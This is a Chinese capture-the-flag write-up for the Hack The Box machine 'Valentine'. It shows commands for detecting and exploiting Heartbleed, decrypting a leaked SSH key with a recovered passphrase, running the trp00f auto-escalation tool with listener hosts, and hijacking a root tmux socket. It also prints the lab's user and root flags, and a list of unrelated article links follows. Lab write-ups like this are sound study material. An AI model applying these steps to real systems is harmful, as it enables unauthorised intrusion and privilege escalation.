当前位置: 首页 > news >正文

[Meachines] [Easy] valentine SSL心脏滴血+SSH-RSA解密+trp00f自动化权限提升+Tmux进程劫持权限提升

信息收集

IP AddressOpening Ports
10.10.10.79TCP:22,80,443

$ nmap 10.10.10.79 --min-rate 1000 -sC -sV

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after:  2019-02-06T00:45:25
|_ssl-date: 2024-08-09T11:31:53+00:00; -8m55s from scanner time.
|_http-server-header: Apache/2.2.22 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

443 SSL 心脏滴血

$ sudo nmap -p443 -script ssl-heartbleed 10.10.10.79

PORT    STATE SERVICE
443/tcp open  https
| ssl-heartbleed: 
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://cvedetails.com/cve/2014-0160/
|_      http://www.openssl.org/news/secadv_20140407.txt

该漏洞出现在处理心跳请求时,OpenSSL库没有正确地检查用户发送的数据的长度。心跳请求中包含一个数据块和一个声明的长度值,而OpenSSL直接根据这个声明的长度值来读取数据块。

如果攻击者在心跳请求中发送了一个较短的数据块,但伪造了一个很长的长度值,OpenSSL会读取超出数据块实际长度的内存数据(这些数据可能包含敏感信息,如私钥、用户名、密码等),并将这些数据返回给攻击者。

https://github.com/sensepost/heartbleed-poc/blob/master/heartbleed-poc.py

$ python2 heartbleed-poc.py 10.10.10.79

image.png

$ echo 'aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg=='|base64 -d

heartbleedbelievethehype

目录爆破 & SSH RSA 解密

$ gobuster dir -u 'http://10.10.10.79' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -b 403,404 -x php,txt,html

image-1.png

http://10.10.10.79/dev/

image-2.png

$ curl http://10.10.10.79/dev/hype_key | xxd -r -p >id_rsa

image-3.png

$ openssl rsa -in id_rsa -out id_rsa_dec

heartbleedbelievethehype

image-6.png

http://10.10.10.79/dev/notes.txt

image-4.png

$ python2 /usr/share/exploitdb/exploits/linux/remote/45939.py 10.10.10.79 'hype'

image-5.png

$ ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i id_rsa_dec hype@10.10.10.79

image-7.png

User.txt

cbe0675cb30bce7dfddfd0024b0041e7

权限提升

trp00f 自动化权限提升

$ python3 trp00f.py --lhost 10.10.16.24 --lport 10011 --rhost 10.10.16.24 --rport 10033 --pkhttpport 9090 --lxhttpport 9900

image-8.png

ps -aux & Tmux 进程权限提升

image-9.png

$ tmux -S /.devs/dev_sess

tmux 的 -S 选项指定了一个套接字文件,这个文件用于 tmux 的客户端和服务器之间的通信。如果套接字文件的权限设置不当,可能会允许未经授权的用户访问或控制 tmux 会话,从而进行权限提升。

Root.txt

62947494f0c2ae2218423987e4d28b79

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 07、MySQL-多表查询
  • 关于重复提交
  • k8s—Prometheus+Grafana+Altermaneger构建监控平台
  • 2024年软件测试八股文(含答案+文档)
  • Qwen2-7b+AnythingLLM+ollama 部署API调用
  • Linux 进程概念
  • 高效清理优化工具 Sonoma Cache Cleaner mac 19.0.6注册激活版
  • PCIe学习笔记(20)
  • FFmpeg音频重采样基本流程
  • 代码随想录第34天|动态规划
  • 线程(Pthread)
  • 延时队列与redis and rabbitmq
  • 大模型学习笔记 - LLM 解码与部署
  • LVS 调度器 nat和DR模式
  • Android中的Binder
  • 【vuex入门系列02】mutation接收单个参数和多个参数
  • C++入门教程(10):for 语句
  • CSS进阶篇--用CSS开启硬件加速来提高网站性能
  • CSS魔法堂:Absolute Positioning就这个样
  • DataBase in Android
  • hadoop入门学习教程--DKHadoop完整安装步骤
  • HashMap剖析之内部结构
  • java B2B2C 源码多租户电子商城系统-Kafka基本使用介绍
  • JavaScript 事件——“事件类型”中“HTML5事件”的注意要点
  • java第三方包学习之lombok
  • Java知识点总结(JavaIO-打印流)
  • js递归,无限分级树形折叠菜单
  • Js实现点击查看全文(类似今日头条、知乎日报效果)
  • Lsb图片隐写
  • Mysql5.6主从复制
  • passportjs 源码分析
  • PAT A1120
  • Python中eval与exec的使用及区别
  • Redash本地开发环境搭建
  • SegmentFault 社区上线小程序开发频道,助力小程序开发者生态
  • Selenium实战教程系列(二)---元素定位
  • Spark in action on Kubernetes - Playground搭建与架构浅析
  • Stream流与Lambda表达式(三) 静态工厂类Collectors
  • Twitter赢在开放,三年创造奇迹
  • unity如何实现一个固定宽度的orthagraphic相机
  • vue2.0一起在懵逼的海洋里越陷越深(四)
  • 闭包--闭包作用之保存(一)
  • 浮动相关
  • 给第三方使用接口的 URL 签名实现
  • 微信端页面使用-webkit-box和绝对定位时,元素上移的问题
  • 小程序滚动组件,左边导航栏与右边内容联动效果实现
  • 一道闭包题引发的思考
  • 用jQuery怎么做到前后端分离
  • 用quicker-worker.js轻松跑一个大数据遍历
  • 原生JS动态加载JS、CSS文件及代码脚本
  • 走向全栈之MongoDB的使用
  • 最简单的无缝轮播
  • 仓管云——企业云erp功能有哪些?
  • ​LeetCode解法汇总1410. HTML 实体解析器
  • ​Linux Ubuntu环境下使用docker构建spark运行环境(超级详细)